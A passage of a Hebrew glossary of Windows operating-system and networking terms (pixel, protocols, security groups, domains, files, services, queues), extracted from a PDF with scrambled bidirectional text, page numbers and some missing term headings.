דומות המרכיבות תמונה שנוצרת על המסך באמצעות מחשב או על נייר באמצעות מדפסת.
פיקסל הינו הרכיב הקטן ביותר שלחומרה ותוכנה להצגה או להדפסה יש אפשרות לטפל בו לשם
יצירת מכתבים ,מספרים או גרפיקה .פיקסל קרוי גם .pel
פס כותרת
הפס האופקי בחלק העליון של חלון המכיל את שם החלון .בחלונות רבים ,פס הכותרת מכיל גם
את סמל התוכנית ,את הלחצנים הגדל ,מזער וסגור ואת לחצן ? האופציונלי עבור עזרה תלוית
הקשר .לשם הצגת תפריט עם פקודות כגון שחזר והזז ,לחץ באמצעות לחצן העכבר הימני על
פס הכותרת.
פסיקה
בקשה לקבלת תשומת לב מהמעבד .כאשר המעבד מקבל פסיקה ,הוא משהה את הפעולות
הנוכחיות שלו ,שומר את מצב עבודתו ומעביר את השליטה לרוטינה מיוחדת הידועה בשם מטפל
הפסיקות ,המכילה את ההוראות להתמודדות עם המצב המסוים שגרם לפסיקה.
473
פעיל
מתאר את החלון או הסמל שבו אתה משתמש כעת או שנבחר כעת .מערכת ההפעלה מחילה
תמיד את ההקשה או הפקודה הבאה שתיבחר על החלון הפעיל .חלונות או סמלים בשולחן
העבודה שלא נבחרו אינם פעילים.
פרוטוקול
מערכת כללים ומוסכמות לשליחת מידע ברשת .כללים אלה מפקחים על התוכן ,התבנית,
התזמון ,קביעת הרצף ובקרת השגיאות של הודעות המוחלפות בין התקני רשת.
פרוטוקול הניתן לניתוב וכלול בחבילת הפרוטוקולים ,TCP/IPהאחראי על הוספת כתובות ,IP
ניתוב ופיצול ואיחוי מחדש של מנות .IP
הפרוטוקול המשמש להעברת מידע ב .World Wide Web -כתובת ( HTTPסוג אחד של
)[URL] Uniform Resource Locatorמקבלת את הצורה הבאה:
.http://www.microsoft.com
חבר בחבילת הפרוטוקולים ,TCP/IPהמשמש להעתקת קבצים בין שני מחשבים באינטרנט .על
שני המחשבים לתמוך בתפקידי FTPשלהם בהתאמה :על האחד להיות לקוח FTPועל השני
להיות שרת .FTP
פרוטוקול הנמצא בשימוש מחשבים מארחים מסוג IPלשם דיווח על החברות בקבוצות השידור
לקבוצות שלהם לכל נתבי השידור לקבוצות השכנים הקרובים.
פרוטוקול רשת
השפה בה מחשב משתמש לשם קיום תקשורת ברשת .על מחשבים להשתמש באותו פרוטוקול
כדי לקיים תקשורת זה עם זה.
474
פרופיל חומרה
נתונים המתארים את התצורה והמאפיינים של ציוד מחשב ספציפי .מידע זה עשוי לשמש
להגדרת התצורה של מחשבים לשימוש בהתקנים היקפיים.
פרופיל משתמש
קובץ המכיל מידע תצורה עבור משתמש ספציפי ,כגון הגדרות שולחן עבודה ,חיבורי רשת
קבועים והגדרות יישום .ההעדפות של כל משתמש נשמרות לפרופיל משתמש המשמש את
Windowsלקביעת התצורה של שולחן העבודה בכל פעם בה משתמש נכנס.
פרופיל צבע
פרופיל המכיל את הנתונים הנחוצים לתרגום הערכים של מכלול צבעים .נתונים אלה כוללים
מידע אודות צבע ,גוון ,רוויה ובהירות.
הסידור המכיל את התווים המיוחדים והסימנים המשמשים בשפות שונות .פריסות לוח מקשים
משפיעות על בחירת התווים שיופיעו בעת הקשה על מקשים בלוח המקשים שלך .לאחר שינוי
פריסת לוח המקשים ,ייתכן כי התווים המופיעים על המסך לא יהיו תואמים לתווים המודפסים
על מקשי לוח המקשים.
צ
צורת גופן
קבוצת תווים בעלי מאפיינים משותפים ,כגון רוחב משיכת הקו של האות והימצאותם או אי-
הימצאותם של ( serifקווים קצרים בקצה העליון והתחתון של תווים).
ציוד היקפי
התקן כגון כונן דיסקים ,מדפסת ,מודם או ג'ויסטיק המחובר למחשב ונשלט באמצעות המיקרו-
מעבד של המחשב.
ק
קבוצה
אוסף של משתמשים ,מחשבים ,אנשי קשר וקבוצות אחרות .ניתן להשתמש בקבוצות כאבטחה
או כרשימות תפוצה של דואר אלקטרוני .קבוצות תפוצה משמשות רק עבור דואר אלקטרוני.
קבוצות אבטחה משמשות הן לשם הענקת גישה למשאבים והן כרשימות תפוצה של דואר
אלקטרוני.
475
ראה גם :קבוצה כללית; קבוצה מקומית; קבוצת מחשבים
קבוצה אוניברסלית
קבוצת אבטחה או הפצה שניתן להשתמש בה בכל מקום בעץ או ביער של קבוצת מחשבים.
לקבוצה אוניברסלית יכולים להשתייך חברים מכל קבוצת מחשבים של Windowsבעץ או
ביער של קבוצת המחשבים .היא עשויה לכלול גם קבוצות אוניברסליות אחרות ,קבוצות כלליות
וחשבונות מכל קבוצת מחשבים בעץ או ביער של קבוצת המחשבים .על זכויות והרשאות להיות
מוקצות לפי קבוצת מחשבים ,אך ניתן להקצות אותן בכל קבוצת מחשבים בעץ או ביער של
קבוצת המחשבים.
קבוצות אוניברסליות עשויות להיות חברות בקבוצות מקומיות של קבוצת מחשבים ובקבוצות
אוניברסליות אחרות ,אך אין באפשרותן להיות חברות בקבוצות כלליות .קבוצות אוניברסליות
מופיעות בקטלוג הכללי ועליהן להכיל בעיקר קבוצות כלליות.
ראה גם :עץ קבוצות מחשבים; קבוצה כללית; קבוצה מקומית בקבוצת המחשבים; קבוצת
אבטחה; קבוצת מחשבים
קבוצה כללית
קבוצת אבטחה או תפוצה שעשויה להכיל משתמשים ,קבוצות ומחשבים מקבוצת המחשבים שלה
כחברים .ניתן להעניק לקבוצות אבטחה כלליות זכויות והרשאות למשאבים בכל קבוצת מחשבים
ביער .לא ניתן ליצור קבוצות כלליות או לתחזק אותן במחשבים בהם פועל Windows XP
.Professionalעם זאת ,עבור מחשבים בהם פועל Windows XP Professionalהמשתתפים
בקבוצת מחשבים ,ניתן להעניק לקבוצות כלליות של קבוצות מחשבים זכויות והרשאות באותן
תחנות עבודה והם עשויים להפוך חברים בקבוצות מקומיות באותן תחנות עבודה.
קבוצה מקומית
במחשבים שבהם פועל Windowsושרתים עמיתים ,קבוצה שלה ניתן להעניק הרשאות וזכויות
מהמחשב שלה (אם המחשב משתתף בקבוצת מחשבים) ,ומחשבונות משתמשים ומקבוצות
כלליות הן מקבוצת המחשבים שלה עצמה והן מקבוצות מחשבים מהימנות.
קבוצת אבטחה או תפוצה בעלת אפשרות להכיל קבוצות אוניברסליות ,קבוצות כלליות
וחשבונות מכל קבוצת מחשבים בעץ או ביער קבוצות המחשבים .קבוצה מקומית של קבוצת
מחשבים יכולה להכיל גם קבוצות מקומיות אחרות מקבוצת המחשבים שלה .ניתן להקצות
זכויות והרשאות רק בקבוצת המחשבים המכילה את הקבוצה.
ראה גם :עץ קבוצות מחשבים; קבוצה אוניברסלית; קבוצה כללית; קבוצת אבטחה
476
קבוצות משותפות
קבוצות המופיעות ברשימת התוכניות בתפריט התחלה עבור כל המשתמשים המבצעים כניסה
למחשב .רק למנהלי מערכת יש אפשרות ליצור או לשנות קבוצות משותפות.
קבוצת אבטחה
קבוצה שניתן לפרטה ברשימות בקרת גישה על-פי שיקול דעת ( )DACLsומשמשת להגדרת
הרשאות במשאבים ובאובייקטים .קבוצת אבטחה עשויה לשמש גם כישות דואר אלקטרוני.
שליחת הודעת דואר אלקטרוני לקבוצה מביאה לשליחת ההודעה לכל חברי הקבוצה.
קבוצת מחשבים
קבוצת מחשבים המהווים חלק מרשת ,שלהם מסד נתוני ספריה משותף .קבוצת מחשבים
מנוהלת כיחידה באמצעות כללים ונהלים משותפים .לכל קבוצת מחשבים יש שם ייחודי.
קבוצת מחשבים של Active Directoryהיא אוסף של מחשבים שהוגדר על-ידי מנהל רשת
.Windowsלמחשבים אלו יש מסד נתוני ספריה משותף ,מדיניות אבטחה ויחסי אבטחה עם
קבוצות מחשבים אחרות .קבוצת מחשבים של Active Directoryמספקת גישה אל חשבונות
המשתמש וחשבונות הקבוצות המרוכזים ,המתוחזקים על-ידי מנהל קבוצת המחשבים .יער של
Active Directoryמורכב מקבוצת מחשבים אחת או יותר כאשר כל קבוצה עשויה להתפרס
על יותר ממיקום פיזי אחד.
קבוצת עבודה
קיבוץ פשוט של מחשבים ,שנועד רק לסייע למשתמשים לאתר מדפסות ותיקיות משותפות,
לדוגמה ,בתוך קבוצה זו .קבוצות עבודה ב Windows -אינן מציעות את חשבונות המשתמש
והאימות הממורכזים המוצעים בקבוצות מחשבים.
477
ראה גם :שכפול
קובץ
אוסף מידע שלם ובעל שם ,כגון תוכנית ,ערכת נתונים המשמשים תוכנית או מסמך שנוצר על-
ידי משתמש .קובץ הוא יחידת האחסון הבסיסית המאפשרת למחשב להבדיל בין ערכת מידע
אחת לאחרת .זהו אוסף של נתונים שהמשתמש יכול לאחזר ,לשנות ,למחוק ,לשמור או לשלוח
להתקן פלט ,כגון מדפסת או תוכנית דואר אלקטרוני.
קובץ Script
קובץ החלפה
קובץ מוסתר בדיסק הקשיח המשמש את Windowsלהחזקת חלקים של תוכניות וקבצי נתונים
שאינם נכנסים לזיכרון .קובץ ההחלפה והזיכרון הפיזי ,או ,RAMמרכיבים את הזיכרון
הווירטואלי Windows .מעביר נתונים מקובץ ההחלפה לזיכרון בהתאם לצורך ומעביר נתונים
מהזיכרון לקובץ ההחלפה כדי לפנות מקום לנתונים חדשים.
קובץ זמני
קובץ המאחסן הודעות שנוצרו על-ידי יישום ,שירות או מערכת הפעלה .הודעות אלו משמשות
למעקב אחר הפעולות שבוצעו .לדוגמה ,שרתי אינטרנט מחזיקים בקבצי יומן רישום הכוללים
כל בקשה שנשלחה לשרת .קבצי יומן רישום הם בדרך כלל קבצי טקסט רגיל ( )ASCIIולרוב
סיומת הקובץ שלהם היא .log
בגיבוי ,קובץ המכיל רשומה של התאריך שבו נוצרו הקלטות והשמות של הקבצים והספריות
שגובו ושוחזרו בהצלחה .גם שירות יומני רישום והתראות של ביצועים יוצר קבצי יומן רישום.
ראה גם ;)ASCII( American Standard Code for Information Interchange :שירות
קובץ המספק ל Windows -מידע אודות האופן המיטבי להפעלת תוכניות המבוססות על MS-
.DOSבעת הפעלת תוכנית המבוססת על Windows ,MS-DOSמחפש קובץ PIFלהשתמש
בו איתה .קבצי PIFמכילים פריטים כגון שם הקובץ ,ספריה התחלתית ואפשרויות ריבוי
משימות.
478
קובץ מיותם
קובץ המאוחסן ב'מזוודה שלי' ואינו מקושר לאף קובץ מחוץ ל'מזוודה שלי' .בעת עדכון קבצים,
הקובץ המיותם אינו מסוכנרן עם אף קובץ אחר.
קובץ צליל
קובץ צליל מכיל מידע המשמש את Windowsלהשמעת צלילים במחשב .קבצי צליל הם בעלי
סיומת .wav
התקן המותקן במחשבים כדי לאפשר שימוש בכרטיסים חכמים עבור תכונות אבטחה משופרות.
קילו-בית )(KB
קיצור דרך
קישור לפריט כלשהו הנגיש במחשב שלך או ברשת ,כגון תוכנית ,קובץ ,תיקיה ,כונן דיסקים,
דף אינטרנט ,מדפסת או מחשב אחר .באפשרותך להציב קיצורי דרך באזורים שונים ,כגון
בשולחן העבודה ,בתפריט התחלה או בתיקיות ספציפיות.
קצב שידור
המהירות שבה המודם מקיים תקשורת .קצב השידור מתייחס למספר הפעמים שמצב הקו
משתנה .מספר זה זהה למספר הסיביות בשניה רק אם כל אות תואם לסיבית אחת של נתונים
ששודרו.
על מודמים לפעול באותו קצב שידור על מנת לקיים תקשורת ביניהם .אם קצב השידור של
מודם אחד מוגדר כגבוה מקצב השידור של המודם האחר ,המודם המהיר יותר משנה בדרך כלל
את קצב השידור שלו כך שיתאים לקצב השידור של המודם האיטי.
שיטת קריפטוגרפיה בה נעשה שימוש בשני מפתחות שונים :מפתח ציבורי להצפנת נתונים
ומפתח פרטי לפענוח נתונים .קריפטוגרפיה באמצעות מפתח ציבורי קרויה גם קריפטוגרפיה
אסימטרית.
479
ר
רוויה
רוחב פס
בתקשורת אנלוגית ,ההבדל בין התדר הגבוה ביותר לתדר הנמוך ביותר בטווח נתון .לדוגמה ,קו
טלפון אנלוגי מכיל רוחב פס של 3,000הרץ ( ,)Hzשהוא ההבדל בין התדר הנמוך ביותר (300
)Hzלגבוה ביותר ( )3,300 Hzשבאפשרותו להעביר .בתקשורת דיגיטלית ,רוחב הפס מתבטא
בסיביות לשניה (.)bps
רזולוציית מסך
ההגדרה הקובעת את כמות המידע המופיעה על המסך שלך ,הנמדדת בפיקסלים .רזולוציה
נמוכה ,כגון ,640 x 480גורמת לפריטים במסך להיראות גדולים ,על אף שאזור המסך קטן.
רזולוציה גבוהה ,כגון ,1024 x 768הופכת את אזור המסך הכולל לגדול ,על אף שפריטים
בודדים נראים קטנים.
רישום
מאגר של מסד נתונים עבור מידע אודות תצורת מחשב .הרישום כולל מידע שWindows -
משתמש בו ללא הרף במהלך פעולה ,כגון:
הרישום מאורגן באופן הירארכי כעץ ומורכב ממפתחות וממפתחות המשנה ,הכוורות ()Hives
והערכים שלהם.
רכיבי Hubמדורגים
480
רכיבי אלקטרוניקה משולבים בהתקן )(IDE
סוג של ממשק כונן דיסקים שבו רכיבי האלקטרוניקה של הבקר שוכנים בכונן עצמו ,ובכך
מבטלים את הצורך בכרטיס מתאם נפרד IDE .מציע יתרונות כגון מטמון עם מבט קדימה
המשפר את הביצועים הכוללים.
רקע
תמונת הרקע של המסך המשמשת בממשק משתמש גרפי כגון .Windowsכל תבנית או תמונה
הניתנת לשמירה כקובץ מפת סיביות ( ).bmpניתנת להגדרה כתמונת רקע למסך.
הסקטור הראשון בדיסק קשיח ,המתחיל את תהליך האתחול של המחשב .ה MBR -כולל את
טבלת המחיצות של הדיסק וכמות קטנה של קוד הניתן להפעלה המכונה קוד אתחול ראשי.
רשות בסיס
מסמך הנכתב ומפורסם על-ידי רשות אישורים; מסמך זה מכיל רשימה של אישורים שתוקפם
בוטל.
רשת
קבוצה של מחשבים והתקנים אחרים ,כגון מדפסות וסורקים ,המחוברים באמצעות קישור של
תקשורת ,שמאפשר לכל ההתקנים לפעול זה עם זה באינטראקציה .רשתות יכולות להיות קטנות
או גדולות ,להיות מחוברות באופן קבוע באמצעות כבלים ,או להיות מחוברות זמנית באמצעות
קווי טלפון או שידורים אלחוטיים .הרשת הגדולה ביותר היא האינטרנט ,שהיא קבוצה כלל-
עולמית של רשתות.
481
ראה גם :מתאם רשת
קו טלפון דיגיטלי המספק רוחב פס גדול יותר .בצפון אמריקה ה ISDN -זמין בדרך כלל בשתי
צורות )BRI( Basic Rate Interface :המורכב משני ערוצי Bבמהירות 64קילו-סיביות
בשניה ( )Kbpsוערוץ Dבמהירות )PRI( Primary Rate Interface ;16 Kbpsהמורכב מ-
23ערוצי Bבמהירות 64 Kbpsוערוץ Dבמהירות .64 Kbpsעל חברת הטלפון להתקין את
קו ה ISDN -הן באתר המתקשר והן באתר שאליו מתקשרים.
ראה גם :חיוג מרובה קישורים; מזהה פרופיל שירות ( ;)SPIDסוג בורר
ההרחבה של רשת פרטית הכוללת קישורים שעברו אנקפסולציה (עטיפה) ,קישורים מוצפנים
וקישורים מאומתים על-פני רשתות משותפות או ציבוריות .להתקשרויות VPNיש אפשרות
לספק גישה מרחוק והתקשרויות מנותבות לרשתות פרטיות על-פני האינטרנט.
רשת תקשורת המחברת קבוצת מחשבים ,מדפסות והתקנים אחרים הממוקמים באזור מוגבל
יחסית (לדוגמה ,בניין) LAN .מאפשרת לכל התקן מחובר לקיים תקשורת עם כל התקן אחר
ברשת.
ראה גם ;)NetBEUI( NetBIOS Extended User Interface :קבוצת עבודה; רשת
תקשורת מקומית וירטואלית ()VLAN
קיבוץ לוגי של מחשבים מארחים ברשת תקשורת מקומית אחת או יותר המאפשר קיום תקשורת
בין מחשבים מארחים כאילו היו באותה רשת תקשורת מקומית פיזית.
רשת תקשורת המחברת מחשבים ,מדפסות והתקנים אחרים המופרדים גיאוגרפיתWAN .
מאפשרת לכל התקן מחובר לפעול באינטראקציה עם כל התקן מחובר אחר ברשת.
ש
שולחן עבודה
אזור העבודה על המסך שבו מופיעים חלונות ,סמלים ,תפריטים ותיבות דו-שיח.
482
שורת המשימות
השורה המכילה את לחצן התחל ומופיעה כברירת מחדל בחלקו התחתון של שולחן העבודה.
באפשרותך ללחוץ על הלחצנים בשורת המשימות לשם מעבר בין תוכניות .באפשרותך גם
להסתיר את שורת המשימות ,להזיזה לצדדים או לחלק העליון של שולחן העבודה ולהתאים
אותה אישית בדרכים אחרות.
שחזור המערכת
כלי העוקב אחר שינויים במחשב שלך ויוצר נקודת שחזור כאשר הוא מזהה התחלה של שינוי.
באפשרותך להשתמש באשף שחזור המערכת לבחירת נקודת שחזור לשחזר בה את המחשב שלך
למצב קודם בו המחשב פעל לשביעות רצונך.
שטח דיסק פנוי שלא הוקצה לאף אמצעי אחסון .סוג אמצעי האחסון שניתן ליצור בשטח שלא
הוקצה מותנה בסוג הדיסק .בדיסקים בסיסיים ,ניתן להשתמש בשטח שלא הוקצה ליצירת
מחיצות ראשיות או מורחבות .בדיסקים דינאמיים ,ניתן להשתמש בשטח שלא הוקצה ליצירת
אמצעי אחסון דינאמיים.
ראה גם :אובייקט; אמצעי אחסון; דיסק בסיסי; דיסק דינאמי; כונן לוגי; מחיצה; מחיצה מורחבת;
מחיצה ראשית
שידור
ברשתות תקשורת נתונים ,שידור נתונים ממסוף אחד לאחר ,לדוגמה מלקוח לשרת ,או משרת
לשרת.
במנהל המשימות ,כמות השיא של זיכרון פיזי ששכנה בתהליך מרגע התחלתו.
483
שירות
תוכנית ,רוטינה או תהליך המבצעים פונקציית מערכת ספציפית לשם תמיכה בתוכניות אחרות,
בייחוד ברמה נמוכה (קרובה לחומרה) .כאשר שירותים ניתנים ברשת ,ניתן לפרסם אותם ב-
,Active Directoryדבר המקל על ניהול ושימוש ממוקדים בשרת .שירות מנהל חשבונות
אבטחה ,שירות שכפול קבצים ושירות ניתוב וגישה מרחוק הם דוגמאות לשירותים.
ראה גם ;)DHCP( Dynamic Host Configuration Protocol ;Active Directory :מזהה
פרופיל שירות ()SPID
שירות Messenger
שירות השולח ומקבל הודעות הנשלחות על-ידי מנהלי מערכת או על-ידי שירות ההתראות.
שירות UPS
שירות טקסט
תוכנית המאפשרת למשתמש להזין או לערוך טקסט .שירותי טקסט כוללים פריסות לוח מקשים,
תוכניות זיהוי כתב-יד וזיהוי דיבור ועורכי שיטות קלט ( .)IMEעורכי שיטות קלט משמשים
להזנת תווים של שפות מזרח אסיאתיות באמצעות לוח מקשים.
שירות פקס
שירות מערכת המספק שירותי פקס ללקוחות רשת מקומיים ומרוחקים .שירותי הפקס כוללים
קבלת פקסים ושליחת מסמכים ,הודעות של אשף הפקסים והודעות דואר אלקטרוני.
שירות רשת
שירותים כגון שיתוף קובץ או מדפסת במחשב שלך או גיבוי אוטומטי לשרת רשת.
שירותי TCP/IPפשוטים
שיתוף
484
ראה גם :משאב
שכפול
תהליך העתקת נתונים ממאגר נתונים או מערכת קבצים למספר מחשבים לשם סינכרון הנתונים.
Active Directoryמספק שכפול מרובה עותקי-אב של הספריה בין בקרי קבוצות מחשבים
בתוך קבוצת מחשבים נתונה .ניתן לכתוב על העותקים המשוכפלים של הספריה בכל אחד
מבקרי קבוצות המחשבים .הדבר מאפשר החלת עדכונים על כל עותק משוכפל בקבוצת מחשבים
נתונה .שירות השכפול מעתיק אוטומטית את השינויים מעותק משוכפל נתון לכל העותקים
המשוכפלים האחרים.
שם ארוך
שם של תיקיה או קובץ שאורכו עולה על האורך התקני שהוא 8.3לשם קובץ ( 8תווים לכל
היותר ואחריהם נקודה וסיומת באורך שלושה תווים לכל היותר) של מערכת הקבצים .FAT
גירסה זו של Windowsתומכת בשמות קבצים ארוכים באורך 255תווים לכל היותר.
ראה גם ;)Microsoft Disk Operating System( MS-DOS :טבלת מיקומי קבצים ()FAT
שם DNSשל התקן ברשת .שמות אלו משמשים לאיתור מחשבים ברשת .כדי לאתר מחשב
אחר ,על שם המחשב המארח שלו להופיע בקובץ Hostsאו להיות מוכר לשרת .DNSברוב
מחשבי ,Windowsשם המחשב המארח ושם המחשב זהים.
שם מלא
שם שלם של משתמש ,המורכב בדרך כלל משם משפחה ,שם פרטי וראשי תיבות של שם
אמצעי .השם המלא הוא מידע שלמשתמשים וקבוצות מקומיים או למשתמשים ומחשבים של
Active Directoryיש אפשרות להחזיק כחלק מהמידע המזהה ומגדיר חשבון משתמש.
485
שם מנהל אבטחה
שם המזהה באופן ייחודי משתמש ,קבוצה או מחשב בקבוצת מחשבים יחידה .אין ערובה לכך
ששם זה יהיה ייחודי על-פני קבוצות מחשבים.
שם משתמש
שם ייחודי המזהה חשבון משתמש ב .Windows -על שם משתמש של חשבון להיות ייחודי בין
שמות קבוצות ושמות משתמשים אחרים בקבוצת המחשבים או בקבוצת העבודה שלו.
שם חשבון משתמש (הקרוי לעיתים שם הכניסה של המשתמש) ושם קבוצת מחשבים המזהה את
קבוצת המחשבים שבה חשבון המשתמש ממוקם .זהו השימוש הרגיל לכניסה לקבוצת מחשבים
של .Windowsהתבנית היא( user@domain.com :בדומה לכתובת דואר אלקטרוני).
ראה גם :חשבון משתמש; סיומת של שם משתמש עיקרי; קבוצת מחשבים; שם קבוצת מחשבים
שם קבוצה
שם ייחודי המזהה קבוצה מקומית או קבוצה כללית בפני .Windowsשם קבוצה אינו יכול
להיות זהה לשם של קבוצה אחרת או לשם משתמש אחר באותה קבוצת המחשבים או באותו
מחשב.
השם שהוענק על-ידי מנהל לאוסף של מחשבים ברשת ,שלהם ספריה משותפת .כחלק ממבנה
השמות של ,)Domain Name System )DNSשמות קבוצות מחשבים מורכבות מרצף של
תוויות שמות המופרדות באמצעות נקודות.
ראה גם ;)DNS( Domain Name System :טווח שמות; קבוצת מחשבים; תווית
שנת חורף
מצב שבו המחשב שלך כבה לאחר ששמר הכל בזיכרון בדיסק הקשיח .כאשר המחשב
"מתעורר" משנת החורף ,כל התוכניות והמסמכים שהיו פתוחים משוחזרים לשולחן העבודה.
486
שער
התקן המחובר לרשתות TCP/IPפיזיות מרובות בעלות אפשרות ניתוב או העברה של מנות IP
ביניהן .שער מתרגם בין פרוטוקולי העברה שונים או תבניות נתונים שונות (לדוגמה IPX ,ו-
)IPובדרך כלל הוא נוסף לרשת בעיקר בשל יכולת התרגום שלו.
בהקשר של פעולה הדדית עם רשתות ,Novell NetWareשער מתפקד כגשר בין פרוטוקול
בלוק הודעת השרת ( )SMBהמשמש ברשתות Windowsלבין פרוטוקול הליבה של
)NCP( NetWareהמשמש ברשתות .NetWareשער מכונה גם נתב .IP
השפה בה ברצונך להשתמש בעת ההקלדה .תוכניות מסוימות שתוכננו עבור הפלטפורמה של
Windowsמזהות הגדרה זו .בעת הוספת שפת לוח מקשים חדשה ,נוספת גם פריסת לוח
מקשים עבור שפה זו.
שפת קלט
ציון השפה שבה ברצונך להקליד .תוכניות מסוימות שתוכננו עבור Windowsמזהות הגדרה זו.
בעת הוספת שפת קלט חדשה ,נוספת גם פריסת לוח מקשים עבור אותה שפה.
ראה גם( Printer Job Language ;)PCL( Printer Control Language ;PostScript :
;)PJLגופני PostScript
שרת
שרת Tunnel
שרת או נתב המפסיק פעולות Tunnelומעביר הלאה תעבורה למחשבים המארחים ברשת היעד.
שרת אינטרנט
מחשב המתוחזק על-ידי מנהל מערכת או ספק שירותי אינטרנט ( )ISPוהמגיב לבקשות מדפדפן
של משתמש.
487
שרת הדפסה
מחשב המוקדש לניהול המדפסות ברשת .שרת ההדפסה עשוי להיות כל מחשב ברשת.
שרת זמן
מחשב בו מתבצע מעת לעת סינכרון של הזמן בכל המחשבים ברשת .הדבר מבטיח שהשעה
בשירותי רשת ופונקציות מקומיות תישאר מדויק.
שרת ראשי
שרת DNSסמכותי באזור .קיימים שרתים מנהלים שונים המשתייכים לאחד משני סוגים (שרת
מנהל ראשי או משני) ,בהתאם לאופן שבו השרת מקבל את נתוני האזור שלו.
ת
תבנית בסיס ראשונית
תיקיה משותפת שהקבצים והתיקיות הקיימים שבה משוכפלים לתיקיות משותפות אחרות בעת
ההגדרה הראשונית של השכפול .לאחר שהשכפול הושלם ,אין תבנית בסיס ראשית מאחר שלכל
העותקים המשוכפלים יש אפשרות לקבל שינויים ולהעביר אותם בירושה לעותקים המשוכפלים
האחרים .תבנית הבסיס הראשונית הופכת לעותק משוכפל רגיל.
עיצוב המופיע על שולחן העבודה שלך .באפשרותך ליצור תבנית משלך או לבחור תבנית
שסופקה עם .Windows
תגובה
בגישה מרחוק ב ,Windows -מחרוזות הצפויות מההתקן ,שעשויות להכיל פקודות מאקרו.
תווים מורחבים
כל אחד מ 128 -התווים הנוספים בערכת התווים המורחבת של 8( ASCIIסיביות) .תווים אלו
כוללים תווים במספר שפות זרות ,כגון סימוני הטעמה וסמלים מיוחדים המשמשים ליצירת
תמונות.
488
תווים של שני בתים
ערכת תווים שבה כל תו מיוצג על-ידי שני בתים .שפות מסוימות ,כגון יפנית ,סינית וקוריאנית,
מצריכות ערכות תווים של שני בתים.
תווין
כל התקן המשמש לציור תרשימים ,דיאגרמות ופריטי גרפיקה מבוססי-קו אחרים.
תווית
כל חלק בשם מלא של קבוצת מחשבים של DNSהמייצג צומת בעץ טווח השמות של קבוצת
המחשבים .שמות קבוצות מחשבים מורכבים מרצף של תוויות ,כגון שלוש התוויות ( ,example
microsoftו )com -המרכיבות את שם קבוצת המחשבים של DNS
.example.microsoft.comעל כל תווית המשמשת בשם קבוצת מחשבים של DNSלהיות
באורך תווים של 63בתים או פחות.
תוכן פעיל
תוכן דינמי ,כגון נתוני מניות ,מפת מזג אוויר או חדשות ,המתעדכן בדרך כלל מהWorld -
Wide Webאו מערוץ.
תוכנית
מערכת שלמה ועצמאית של הוראות מחשב המשמשות לביצוע משימה ספציפית ,כגון עיבוד
תמלילים ,חשבונאות או ניהול נתונים .תוכנית קרויה גם יישום.
תוכנית אצווה
קובץ ( ASCIIטקסט לא מעוצב) המכיל לפחות פקודה אחת של מערכת הפעלה .שם הקובץ של
תוכנית אצווה הוא בעל סיומת .cmdאו .batבעת הקלדת שם הקובץ בשורת הפקודה או בעת
הפעלת תוכנית האצווה מתוך תוכנית אחרת ,הפקודות שלה מעובדות ברצף .תוכניות אצווה
נקראות גם קבצי אצווה.
ראה גםScript ;)ASCII( American Standard Code for Information Interchange :
לכניסה
תוכנית המיועדת לפעול עם MS-DOSולכן ייתכן שאין לה אפשרות לנצל בצורה מלאה את כל
תכונות .Windows
ראה גם ;)Microsoft Disk Operating System( MS-DOS :קובץ מידע של תוכנית ()PIF
489
תור
תור הדפסה
תור הדפסה הוא רשימת מסמכים הממתינים להדפסה במדפסת .בתור ההדפסה ,באפשרותך
לצפות במידע כגון גודל המסמך ,מי שלח אותו להדפסה ומידע מצב עבור הדפסה.
עבור ניהול תורי הודעות ,תור בו מאוחסנות הודעות הטרנזקציה שאין להן אפשרות להגיע לתור
היעד שלהן .תורי הודעות טרנזקציה שלא נמסרו מאחסנים הודעות שנכשלו במחשב שבו תוקפה
של ההודעה פג .הודעות בתורים אלה נכתבות לדיסק ולכן ניתן לשחזרן.
תור מערכת
עבור ניהול תורי הודעות ,תור בו מאוחסנים סוגים שונים של הודעות ניהול .בניהול תורי
הודעות נעשה שימוש בחמישה תורי מערכת לכל היותר ,כולם תורים פרטיים .אין אפשרות
למחוק תורי מערכת.
תחנת עגינה
יחידה למיקום מחשב נייד הכוללת חיבור לחשמל ,חריצי הרחבה וחיבורים לציוד היקפי ,כגון
צג ,מדפסת ,לוח מקשים בגודל מלא ועכבר .תחנת העגינה הופכת את המחשב הנייד למחשב
שולחני.
תיבת דו-שיח
חלון משני המכיל לחצנים ומספר סוגים של אפשרויות שבאמצעותן ניתן לבצע פקודה או משימה
מסוימת.
תיבת דו-שיח בשפת Scriptingבין מחשב הלקוח והתקן ביניים .סוג זה של תיבת דו-שיח אינו
מצריך תגובה מצד המשתמש.
490
תיקיה
גורם מכיל של תוכניות וקבצים בממשקי משתמש גרפיים ,המיוצג על המסך באמצעות תמונה
גרפית (סמל) של תיקיית קבצים .תיקיה היא אמצעי לארגון תוכניות ומסמכים בדיסק
ובאפשרותה להכיל הן קבצים והן תיקיות נוספות.
תיקיה משותפת
תיקיית הבית
תיקיה (בדרך כלל בשרת קבצים) שמנהלי מערכת יכולים להקצות למשתמשים בודדים או
לקבוצות .מנהלי מערכת משתמשים בתיקיות בית לשם איחוד קבצי משתמשים בשרתי קבצים
ספציפיים כדי לאפשר גיבוי קל יותר .תוכניות מסוימות עושות שימוש בתיקיות בית כתיקיית
ברירת המחדל עבור תיבות הדו-שיח פתיחה ושמירה בשם .תיקיות בית מכונות לעיתים ספריות
בית.
תכונה
בקבצים ,מידע המציין אם הקובץ ניתן לקריאה בלבד ,מוסתר ,מוכן לאחסון בארכיון (גיבוי),
מכווץ או מוצפן ,ואם יש ליצור אינדקס עבור תוכן הקובץ לשם חיפוש קובץ מהיר.
ב ,Active Directory -מאפיינים של אובייקט וסוג המידע שניתן לאחסן באובייקט .עבור כל
סוג אובייקטים ,הסכימה מגדירה אילו תכונות על מופע של הסוג לכלול ואילו תכונות נוספות
עשויות להיות לו.
תמונה ממוזערת
גירסה מיניאטורית של תמונה המשמשת בדרך כלל לעיון מהיר בתמונות רבות.
סוג של תצוגה המשמשת בשעונים דיגיטליים ומחשבים נישאים רבים .צגי LCDעושים שימוש
בשתי שכבות של חומר מקטב עם תמיסת גביש נוזלי ביניהן .זרם חשמלי העובר בנוזל גורם
לגבישים להסתדר באופן כזה שאור לא יוכל לחדור דרכם .באופן זה ,כל גביש הוא מעין תריס,
המאפשר לאור לחדור דרכו או חוסם את האור.
תצורת חומרה
הגדרות משאבים שהוקצו להתקן שצוין .לכל התקן במחשב יש תצורת חומרה שעשויה להיות
מורכבת מקווי ,DMA ,IRQיציאת קלט/פלט או הגדרות של כתובות זיכרון.
491
תקליטון
